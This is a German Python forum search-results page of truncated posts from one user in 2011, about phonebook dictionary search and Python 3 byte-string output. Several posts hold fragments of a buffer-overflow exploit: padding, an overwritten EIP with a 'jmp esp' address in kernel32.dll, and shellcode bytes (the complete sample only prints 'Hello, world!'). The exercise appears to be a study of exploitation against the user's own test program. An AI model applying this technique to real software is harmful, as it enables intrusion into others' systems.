Vielen Dank für die Hilfe :)
Hab mein Problem damit gelöst (einschl. Groß-/Kleinschreibung):
def eintragSuchen():
suchbegriff = input("Suchbegriff eingeben: ")
print("\n")
for name, nummer in telefonbuch.items():
if suchbegriff.lower() in name.lower() or suchbegriff.lower() in nummer.lower ...
Die Suche ergab 12 Treffer
- Dienstag 18. Januar 2011, 19:05
- Forum: Allgemeine Fragen
- Thema: Dictionary mit Platzhaltern durchsuchen
- Antworten: 32
- Zugriffe: 6817
- Dienstag 18. Januar 2011, 17:58
- Forum: Allgemeine Fragen
- Thema: Dictionary mit Platzhaltern durchsuchen
- Antworten: 32
- Zugriffe: 6817
Re: Dictionary mit Platzhaltern durchsuchen
Danke für die Tipps - schade, dass es nicht einfacher geht 
Die Keys und Werte bekomme ich - aber wie läuft dann die Suche mit Platzhaltern auf den jeweiligen Listen? Hab ich da nicht das gleiche Problem wie beim Dictionary?
Die Keys und Werte bekomme ich - aber wie läuft dann die Suche mit Platzhaltern auf den jeweiligen Listen? Hab ich da nicht das gleiche Problem wie beim Dictionary?
- Dienstag 18. Januar 2011, 15:44
- Forum: Allgemeine Fragen
- Thema: Dictionary mit Platzhaltern durchsuchen
- Antworten: 32
- Zugriffe: 6817
Dictionary mit Platzhaltern durchsuchen
Liebes Forum,
ich habe eine simples Telefonbuch-Dictionary:
telefonbuch = {"Musterman" : 1234, "Wonderwoman" : 9876, "Spiderman" : " spider(at)man.net"}
Zugriff auf die Elemente, sortieren, hinzufügen und löschen funktioniert soweit.
Jetzt möchte ich aber eine Suchfunktion hinzufügen, bei der ...
ich habe eine simples Telefonbuch-Dictionary:
telefonbuch = {"Musterman" : 1234, "Wonderwoman" : 9876, "Spiderman" : " spider(at)man.net"}
Zugriff auf die Elemente, sortieren, hinzufügen und löschen funktioniert soweit.
Jetzt möchte ich aber eine Suchfunktion hinzufügen, bei der ...
- Dienstag 18. Januar 2011, 15:28
- Forum: Python mit anderen Sprachen verwenden
- Thema: struct.pack verhält sich unter Windows anders als Linux
- Antworten: 6
- Zugriffe: 2726
Re: struct.pack verhält sich unter Windows anders als Linux
Hab das Ganze wie folgt gelöst:
# Benötigte Bibliotheken laden
import sys
import struct
eip = 0x7c874413 # Adresse von jmp esp in kernel32.dll
ausgabe = b"A" * 14 # 14 Platzhalter
ausgabe += struct.pack("i", eip) # EIP in little-endian Hex umwandeln
# Schadcode
ausgabe += b"\x31\xc0\x31\xdb ...
# Benötigte Bibliotheken laden
import sys
import struct
eip = 0x7c874413 # Adresse von jmp esp in kernel32.dll
ausgabe = b"A" * 14 # 14 Platzhalter
ausgabe += struct.pack("i", eip) # EIP in little-endian Hex umwandeln
# Schadcode
ausgabe += b"\x31\xc0\x31\xdb ...
- Freitag 7. Januar 2011, 15:29
- Forum: Python mit anderen Sprachen verwenden
- Thema: Python 3 Bytestring ausgeben
- Antworten: 10
- Zugriffe: 5152
Re: Python 3 Bytestring ausgeben
Ok, man brate mir einen Storch!
Wenn ich das Skript unter der normalen Windows-Konsole aufrufe bekomme ich auch das richtige Ergebnis! Das Problem scheint ausschließlich in der Verwendung von PowerShell zu liegen - das gibts doch nicht! Vielen Dank für eure Hilfe - werde jetzt mal ein Powershell ...
Wenn ich das Skript unter der normalen Windows-Konsole aufrufe bekomme ich auch das richtige Ergebnis! Das Problem scheint ausschließlich in der Verwendung von PowerShell zu liegen - das gibts doch nicht! Vielen Dank für eure Hilfe - werde jetzt mal ein Powershell ...
- Freitag 7. Januar 2011, 14:57
- Forum: Python mit anderen Sprachen verwenden
- Thema: Python 3 Bytestring ausgeben
- Antworten: 10
- Zugriffe: 5152
Re: Python 3 Bytestring ausgeben
Vielen lieben Dank schonmal, dass ihr euch soviel Mühe macht!
Also: Unter OS X/Linux habt ihr recht! Es kommt auch mit meinem Python 3-Skript die identische Ausgabe raus. Unter Windows XP (Powershell 2.0, Python 3.2b2) bekomme ich jedoch oben dargestellte Ausgabe :-( Obwohl der Aufruf in der ...
Also: Unter OS X/Linux habt ihr recht! Es kommt auch mit meinem Python 3-Skript die identische Ausgabe raus. Unter Windows XP (Powershell 2.0, Python 3.2b2) bekomme ich jedoch oben dargestellte Ausgabe :-( Obwohl der Aufruf in der ...
- Freitag 7. Januar 2011, 13:28
- Forum: Python mit anderen Sprachen verwenden
- Thema: Python 3 Bytestring ausgeben
- Antworten: 10
- Zugriffe: 5152
Re: Python 3 Bytestring ausgeben
Hmmm....also ich sehe in den von mir vorgestellten Beispielen schon deutliche Unterschiede:
Meine dargestellte Python-2-Ausgabe unter OS X enthält genau die von mir gewünschten Bytes, während Python 3 unter Windows eine vielzahl von Füllzeichen, Zeilenumbrüchen etc. einfügt.
Aufgerufen werden sie ...
Meine dargestellte Python-2-Ausgabe unter OS X enthält genau die von mir gewünschten Bytes, während Python 3 unter Windows eine vielzahl von Füllzeichen, Zeilenumbrüchen etc. einfügt.
Aufgerufen werden sie ...
- Freitag 7. Januar 2011, 00:24
- Forum: Python mit anderen Sprachen verwenden
- Thema: Python 3 Bytestring ausgeben
- Antworten: 10
- Zugriffe: 5152
Re: Python 3 Bytestring ausgeben
Python 3
import sys
ausgabe = b"\xeb\x1e\x5e\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x88\x46\x0d\xb0\x04\xb3\x01\x8d\x0e\xb2\x0d\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8\xdd\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64\x21\x23"
sys.stdout.buffer.write(ausgabe)
0000000: fffe d900 1e00 ...
import sys
ausgabe = b"\xeb\x1e\x5e\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x88\x46\x0d\xb0\x04\xb3\x01\x8d\x0e\xb2\x0d\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8\xdd\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64\x21\x23"
sys.stdout.buffer.write(ausgabe)
0000000: fffe d900 1e00 ...
- Donnerstag 6. Januar 2011, 19:37
- Forum: Python mit anderen Sprachen verwenden
- Thema: Python 3 Bytestring ausgeben
- Antworten: 10
- Zugriffe: 5152
Python 3 Bytestring ausgeben
1.
Wie kann ich Folgendes unter Python 3 als Bytestring ausgeben?
code = "\xeb\x1e\x5e\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x88\x46\x0d\xb0\x04\xb3\x01\x8d\x0e\xb2\x0d\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8\xdd\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64\x21\x23"
print(code)
2 ...
Wie kann ich Folgendes unter Python 3 als Bytestring ausgeben?
code = "\xeb\x1e\x5e\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x88\x46\x0d\xb0\x04\xb3\x01\x8d\x0e\xb2\x0d\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8\xdd\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64\x21\x23"
print(code)
2 ...
- Donnerstag 6. Januar 2011, 16:54
- Forum: Python mit anderen Sprachen verwenden
- Thema: struct.pack verhält sich unter Windows anders als Linux
- Antworten: 6
- Zugriffe: 2726
Re: struct.pack verhält sich unter Windows anders als Linux
Ja, danke für den Tipp :)
Hab auch schon probiert die Ausgabe von struct.pack wieder als UTF-8 zu encoden ... aber das verkompliziert das Ganze gefühlsmäßig. Zumal er mir dann bei bestimmten Hexwerten auch Fehler ausgibt ...
Was wäre denn ein sinnvoller Ansatz um unter Python 3 "0x004013ee" als ...
Hab auch schon probiert die Ausgabe von struct.pack wieder als UTF-8 zu encoden ... aber das verkompliziert das Ganze gefühlsmäßig. Zumal er mir dann bei bestimmten Hexwerten auch Fehler ausgibt ...
Was wäre denn ein sinnvoller Ansatz um unter Python 3 "0x004013ee" als ...
- Donnerstag 6. Januar 2011, 16:23
- Forum: Python mit anderen Sprachen verwenden
- Thema: struct.pack verhält sich unter Windows anders als Linux
- Antworten: 6
- Zugriffe: 2726
Re: struct.pack verhält sich unter Windows anders als Linux
Du hast recht! *freu* Hab unter OS X zwar Python 3 installiert, beim Aufruf über das Terminal wird aber tatsächlich 2.6.1 verwendet!
Wie würde der korrekte Code denn für Python 3 realisiert?
Wie würde der korrekte Code denn für Python 3 realisiert?
- Donnerstag 6. Januar 2011, 15:50
- Forum: Python mit anderen Sprachen verwenden
- Thema: struct.pack verhält sich unter Windows anders als Linux
- Antworten: 6
- Zugriffe: 2726
struct.pack verhält sich unter Windows anders als Linux
Liebes Forum,
ich versuche mit folgendem Skript einem C-Programm eine neue Rücksprungadresse aufzuzwingen:
import struct
eip = 0x004013ee
print("A"*14 + struct.pack("<L",eip)
Unter OS X und Linux funktioniert das auch einwandfrei, es wird folgende Ausgabe erzeugt:
0000000: 4141 4141 4141 ...
ich versuche mit folgendem Skript einem C-Programm eine neue Rücksprungadresse aufzuzwingen:
import struct
eip = 0x004013ee
print("A"*14 + struct.pack("<L",eip)
Unter OS X und Linux funktioniert das auch einwandfrei, es wird folgende Ausgabe erzeugt:
0000000: 4141 4141 4141 ...
